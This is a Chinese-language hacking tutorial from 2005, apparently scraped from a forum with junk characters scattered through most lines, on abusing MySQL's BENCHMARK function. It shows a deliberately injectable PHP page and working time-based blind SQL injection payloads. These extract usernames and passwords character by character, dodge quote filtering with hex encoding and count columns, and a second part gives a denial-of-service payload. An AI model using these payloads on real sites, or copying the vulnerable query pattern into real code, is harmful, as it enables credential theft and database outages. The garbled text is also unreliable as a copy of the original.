MYSQL中BENCHMARK函数的利用 ( u4 I n7 l" P4 G+ d
本文作者:SuperHei
V0 {3 o# I8 j; {4 M! i文章性质:原创% U1 T3 U7 ]6 r' @( p$ I. N* L
发布日期:2005-01-02
6 k0 B" l6 x5 g, V! H6 \完成日期:2004-07-09 $ k7 G/ O6 J. ~/ @
第一部
; a$ e& s- g+ L2 T( S2 @
, Q* M3 f; c7 _/ s2 \ h, w# Z利用时间推延进行注射---BENCHMARK函数在注射中的利用
8 F) f% M8 {1 h4 D0 F! z) y0 a! h5 ?. W+ ^' f) v: t E, s1 m5 E0 l
一.前言/思路. Z. h4 f& q) y5 y
; w! h; E& o G- N6 u+ I 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。! z' e2 F( h0 z, m9 `" D$ W7 t& |: W
7 I$ `0 z# I0 a1 `/ _# M. R" @
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
* ~# h4 W1 g8 ^+ M4 s( R$ h
) i; ~) `/ G5 k6 N6 w二.关于BENCHMARK函数) h7 h6 q% T, V2 o D* l
+ d# u, m( c7 T: {6 T5 `' h
在MySQL参考手册里可以看到如下描叙: " n1 j3 y( z, e$ }; S5 R
. \% A) r+ V0 y
) i4 w/ Y9 x+ ]--------------------------------------------------------------------------------) e8 c, P$ h" B8 B
9 l1 W. K# A8 N+ z1 Q; w" N! }# RBENCHMARK(count,expr)
, W9 ?, Q+ D# K) o$ M- gBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 $ j, A6 [6 v" r) L6 }
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
9 ~1 y& r& t" A1 f: t" ]+----------------------------------------------+ 9 W$ Q3 \( k8 e+ c4 w
| BENCHMARK(1000000,encode("hello","goodbye")) | 4 w& b5 J4 Y4 r t% a6 ^0 p
+----------------------------------------------+
) k6 ]" e2 b5 i| 0 | % \5 h7 x3 H- b s0 S; S8 S
+----------------------------------------------+
j4 G; j( G6 z1 c1 row in set (4.74 sec) # Z5 c$ l: e4 G) o. w! O
+ r7 N6 o. X7 i
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。$ `1 V! A! H: N. e+ Y) A
8 J) Z7 y& I' {& c+ _: N+ R
, _( Y$ I! _/ b' U* a
--------------------------------------------------------------------------------
9 u& E$ Y2 I" N+ u! D2 y
0 ^- f/ X1 E, y2 U4 z- ~# h- p3 S) d 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: . f, E/ t$ C3 x4 [% d" u
9 s5 }( ?4 h! Y/ T
mysql> select md5( 'test' );
( c8 A5 n& O# L" Z+----------------------------------+
# O$ [# B8 `# S5 @* E| md5( 'test' ) |
5 \2 x1 c4 I9 b# P* p6 ?0 N9 C+----------------------------------+ ' ?8 [4 o3 W0 @2 C
| 098f6bcd4621d373cade4e832627b4f6 | & C5 M1 r4 r% [
+----------------------------------+
; n' J# h7 s/ h* P; u& J1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
0 [" B: ]7 L: F8 w: F9 W$ h% S8 H3 F/ X6 G2 \* e. V8 i) ]
mysql> select benchmark( 500000, md5( 'test' ) );
! G; n2 s2 w6 W! j; _% w' i, E7 A+------------------------------------+ 6 ]3 [! R; ~4 t6 z5 X
| benchmark( 500000, md5( 'test' ) ) | . Y, L: v6 n/ L* x; @
+------------------------------------+ 1 n' [; ~) F+ E4 i
| 0 | ' f/ o! J: i7 D% j9 K
+------------------------------------+ - P1 @- ?$ Y, _- }
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec9 `8 J& u1 n) f6 I q
+ R8 z1 v5 C7 m) E1 U9 c
! ]1 I: G- ?: l 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 6 m+ r4 w, p( R
# k% M6 d0 b! c% p. |
三.具体例子% ~1 B* Q3 } A5 N
, C" Z- c3 g' N; H( O$ p
首先我们看个简单的php代码:
% }3 ^0 Y; w( t9 O' m* G
" [4 j4 i; V- z< ?php % `1 B/ _4 [( r X, Q
$servername = "localhost"; 4 ]! T, h8 {' V% [4 }0 E/ ?6 u
$dbusername = "root"; . b& _4 [) Z5 w5 r; a* b. h# o/ b5 o
$dbpassword = "";
+ t$ s8 q! j/ G+ N$dbname = "injection"; r3 ]6 W+ w& p5 G9 m
+ Z9 _1 G' @' [/ P$ f: s
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); & a$ Y3 j& k# ?5 ?
; _! `- u" @, }( G
$sql = "SELECT * FROM article WHERE articleid=$id";
; u" z. |4 X: S$result = mysql_db_query($dbname,$sql);
" c5 F" J0 i4 w. G" L: K$row = mysql_fetch_array($result); b% y9 l l6 |
Q. U. R5 M4 S8 v* A5 Y5 r
if (!$row)
! x) B. j! ~% P+ U/ [{
5 Q x1 D1 ]; i& X# x2 M6 Sexit;
t& U+ K w, p* d}
# E- W3 J; h& x) c?>
# i" q2 [7 O5 i9 ~1 \! ~
3 ~' O. e: a! l+ r# \
' J2 X/ O3 P' O- M. `2 o 数据库injection结构和内容如下:
/ \/ s8 k G/ Z; p' T4 }; } Q4 R: h9 }
# 数据库 : `injection` X0 P; k; q3 Q e' @9 Y, B6 J
#
h( V) ?. T( y. i7 P! ^' O ~1 r4 Y7 L6 }! z/ l0 k% b" ~
# --------------------------------------------------------
( y( V( D& d% x
8 J7 f& o, q$ J; Q1 i2 E# 6 I/ W$ T' ?/ X
# 表的结构 `article` 0 `6 \- N% x9 v1 H/ u
#
; U% l) K6 }0 f) v# E3 f
" C ?( s; n. |$ @- n, g% e. r! UCREATE TABLE `article` (
4 h4 K/ I* Z' r% A`articleid` int(11) NOT NULL auto_increment, / @9 e) e5 X8 C" G+ h# D- g T
`title` varchar(100) NOT NULL default '', + u+ _# E: `- E0 L3 }9 ?/ C
`content` text NOT NULL, : J* _! Y" [$ c2 i# u4 }0 r$ f+ w
PRIMARY KEY (`articleid`)
# N, R4 l4 }" {( ?& d, N) TYPE=MyISAM AUTO_INCREMENT=3 ; $ h3 C F E. p: F7 ]; ]3 X5 x
8 F& h2 P8 d5 L# ! x) A d; k- Z" T2 ^9 B* j) w1 i
# 导出表中的数据 `article`
! u& p& [* C/ T% Q: J# y, F! b, b/ J#
6 ]/ e O; s7 X6 u7 L* N
, c4 q1 {) G+ _5 r {0 }INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
* o$ l/ e4 }5 M: \INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
" S* o4 Y6 p1 K! Z1 h$ k1 _1 r, e3 m) @ d
# --------------------------------------------------------
Q7 q ~0 x* v2 I6 V; ]
: q! f, X3 S! b* Q+ R9 K u+ ~) R# & g s& {% @0 Z, T4 `. f U, b
# 表的结构 `user`
O9 Q- [' r' w/ c4 r5 [#
/ Y% |5 H' b* U+ s2 N0 Z3 t- k$ p
; L) `- a P* \5 R- oCREATE TABLE `user` ( 5 ?7 ]1 f; n* b) Z1 O* e
`userid` int(11) NOT NULL auto_increment, . ~/ B0 t% h& t _* D
`username` varchar(20) NOT NULL default '',
7 G7 g" Z: g4 u \, \`password` varchar(20) NOT NULL default '',
* C) U5 ]! R# y8 h" [" V( @0 MPRIMARY KEY (`userid`)
7 e% L! k$ R" r1 ]0 V! \) TYPE=MyISAM AUTO_INCREMENT=3 ; : K) Z* J& G9 |
3 k6 `/ w1 k' t% a# A2 j- M; k" J( a) J! e
# 导出表中的数据 `user`
( R9 ?4 g0 I$ |) U7 U#
$ W$ h# Z6 v4 I" ?
( _7 A" h9 Q- Q) MINSERT INTO `user` VALUES (1, 'angel', 'mypass'); ) m- _1 |7 p6 p
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
3 @5 A" ]! `" h: q4 W
6 F- A, n7 t+ W! R, `+ b) C$ C# i8 R _: ^5 \1 e
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
, D/ y) ]3 D% |% j, F% V' I. t w
. H% x* J2 s, j, J/ Q3 s1 ]id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*( U! @ [7 v: S; m
+ i4 d' o" x) m2 | C, y
6 N0 P$ V0 D/ W* Z. X) v0 P
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:+ K- J ` W" C
$ D1 g% u: l7 Hhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*) I& i8 A; ~7 x4 D- u3 w9 Y
! Z, s. t: n5 j% ?. W: `
2 Z( X2 {, w) C% q1 d 执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 . `' {6 a5 g. y2 |
+ m8 a$ A0 o$ s0 z/ ~ 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 1 c8 O" } [. r" z
; S# Q- z3 v; W
第二部. B' Q6 R' ?0 n0 Y$ @2 `/ @
) i/ b& x( R. l% [利用BENCHMARK函数进行ddos攻击
, V3 e/ | F( C1 Z) K# ` z! G+ Y! Y
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
& c, g ~6 E p7 I4 ?! n- @% t: e1 l1 V5 A/ S( W& N
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
1 F4 T" i) }& k" j
) {1 i( L5 y! [ \$ {$ E% g% g5 [* q; ^/ V
小结* b: P; l! a" [7 L$ t
5 S F! a. d4 `/ T/ Q 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。$ E; R; h9 o% `, C
7 t& A7 j/ z2 n# U! ?
& Y0 v+ s! H3 I P7 v3 w |